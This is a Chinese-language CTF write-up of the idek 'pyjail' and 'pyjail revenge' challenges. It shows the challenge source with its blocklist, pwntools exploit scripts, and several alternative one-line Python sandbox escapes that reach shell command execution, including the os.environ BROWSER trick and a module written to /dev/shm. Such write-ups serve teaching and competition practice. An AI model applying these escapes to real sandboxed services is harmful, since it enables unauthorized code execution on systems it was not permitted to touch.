blocklist = ['.', '\\', '[', ']', '{', '}',':']
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}
print('welcome!')
while True:
cmd = input('>>> ')
if any([b in cmd for b in blocklist]):
print('bad!')
else:
try:
print(eval(cmd, DISABLE_FUNCTIONS))
except Exception as e:
print(e)
題目在eval
前限制了我們不能使用['.', '\\', '[', ']', '{', '}',':']
這些字元,並且將getattr
, eval
, exec
, breakpoint
, lambda
, help
這些函數名稱在eval
時的global中設為None
Solution
這題的解法其實很多,我是使用:
setattr(__import__("__main__"), 'blocklist', '')
如此一來在下次eval
時any([b in cmd for b in blocklist])
就永遠為False
,
於是就能開心的使用.
來取得object的attribute了。
exploit:
from pwn import *
def main() -> None:
io = remote("pyjail.chal.idek.team", 1337)
io.sendlineafter(b">>> ", b"setattr(__import__('__main__'), 'blocklist', '')")
io.sendlineafter(b">>> ", b"__import__('os').system('/readflag giveflag')")
io.interactive()
if __name__ == "__main__":
main()
flag: idek{9eece9b4de9380bc3a41777a8884c185}
pyjail revenge (Misc)
Overview
#!/usr/bin/env python3
def main():
blocklist = ['.', '\\', '[', ']', '{', '}',':', "blocklist", "globals", "compile"]
DISABLE_FUNCTIONS = ["getattr", "eval", "exec", "breakpoint", "lambda", "help"]
DISABLE_FUNCTIONS = {func: None for func in DISABLE_FUNCTIONS}
print('welcome!')
# NO LOOP!
cmd = input('>>> ')
if any([b in cmd for b in blocklist]):
print('bad!')
else:
try:
print(eval(cmd, DISABLE_FUNCTIONS))
except Exception as e:
print(e)
if __name__ == '__main__':
main()
這題修補了上題的一些unintended solution,多了blocklist
, globals
, compile
這三個字串不能出現在cmd
中,並且拿掉了while True:
,只能eval
一次。
My solution
若是這題有while True:
,只需要將我上題的exploit改成:
setattr(__import__("__main__"), 'any', all)
即可繞過any([b in cmd for b in blocklist])
的檢查,但問題是這次只eval
一次,我們必須想辦法重新call一次main()
才能使用如上題一樣的方法。
按照這個方向我在CPython的Github repo裡搜尋了一下,我發現了一個有趣的東西:
import os.path
import sys
# Enable running IDLE with idlelib in a non-standard location.
# This was once used to run development versions of IDLE.
# Because PEP 434 declared idle.py a public interface,
# removal should require deprecation.
idlelib_dir = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
if idlelib_dir not in sys.path:
sys.path.insert(0, idlelib_dir)
from idlelib.pyshell import main # This is subject to change
main()
可以看到idlelib.idle
會從idlelib.pyshell
import main
,並且call main()
所以只要我們能夠將idlelib.pyshell
改成__main__
module,__import__('idlelib.idle')
就會幫我們再call一次main()
了!
但要怎麼用setattr
做到這件事呢?
我們可以先將sys.modules
改成某一個object的__dict__
,這樣我們只要用setattr
將那一個object的idlelib.pyshell
attribute修改成__import__('__main__')
,
sys.modules["idlelib.pyshell"]
就會被改成__main__
module,於是from idlelib.pyshell import main
就會變成from __main__ import main
了!
我最終的exploit如下:
from pwn import *
def main() -> None:
io = remote("pyjail-revenge.chal.idek.team", 1337)
# __import__('__main__').any = all
# sys.modules = {'idlelib.pyshell': __import__('__main__')}
# import idlelib.idle
# https://github.com/python/cpython/blob/206f05a46b426eb374f724f8e7cd42f2f9643bb8/Lib/idlelib/idle.py#L13-L14
io.sendlineafter(
b">>> ",
b"setattr(__import__('__main__'),'any',all),setattr(copyright,'__dict__',dict(__main__=__import__('__main__'))),setattr(__import__('sys'),'modules',vars(copyright)),setattr(copyright,'idlelib'+chr(46)+'pyshell',__import__('__main__')),__import__('idlelib'+chr(46)+'idle')",
)
io.sendlineafter(b">>> ", b"__import__('os').system('/readflag giveflag')")
io.interactive()
if __name__ == "__main__":
main()
# idek{what_used_to_be_a_joke_has_now_turned_into_an_pyjail_escape.How_wonderful!}
Intended solution
作者的intended solution是這樣的:
__import__('antigravity',setattr(__import__('os'),'environ',dict(BROWSER='/bin/sh -c "/readflag giveflag" #%s')))
由於antigravity
這個python的彩蛋會試圖用webbrowser.open
打開瀏覽器,而webbrowser
的瀏覽器會試圖從os.environ
裡面找BROWSER
這個環境變數去得到開啟瀏覽器的方法,
所以我們可以用setattr
將os.environ
改成{'BROWSER': '/bin/sh -c "/readflag giveflag" #%s'}
,這樣webbrowser.open
就會用/bin/sh -c "/readflag giveflag"
這個command來打開瀏覽器,也就將flag印出來了!
Other solutions
@maple3142提供了一個他在hsctf學到的一招:
setattr(copyright,'__dict__',globals()),delattr(copyright,'breakpoint'),breakpoint()
由於__builtins__
不是空的,只要將被改成None
的breakpoint
從globals()
裡被刪除,這時breakpoint()
就會call到__builtins__
裡的breakpoint
了!
另一個很有趣的解法(By intrigus#9969)
(setattr(__import__("sys"), "path", list(("/dev/shm/",))), print("import os" + chr(10) + "print(os" + chr(46) + "system('/readflag giveflag'))", file=open("/dev/shm/lol" + chr(46) + "py", "w")), __import__("lol"))
因為/dev/shm
可寫,所以只要將sys.path
加入/dev/shm
,並且利用print
將想執行的code寫入/dev/shm/lol.py
後,直接__import__
它就可以執行了!
還有另一個我覺得很酷的解法(By AdnanSlef#6976):
setattr(__import__('sys'),'modules',__builtins__) or __import__('getattr')(__import__('os'),'system')('sh')
直接把sys.modules
變成__builtins__
,這樣就可以直接用__import__
access到__builtins__
裡面的東西了
Final words
這次的web我拖到最後才做,有點慚愧…,很多明明很簡單的東西我差點就解不出來了,所以這次算是很好的複習到了。
另外這次我覺得最好玩的是pyjail,學到很多我之前沒想過的技巧!
整體來說是一場很好玩的CTF!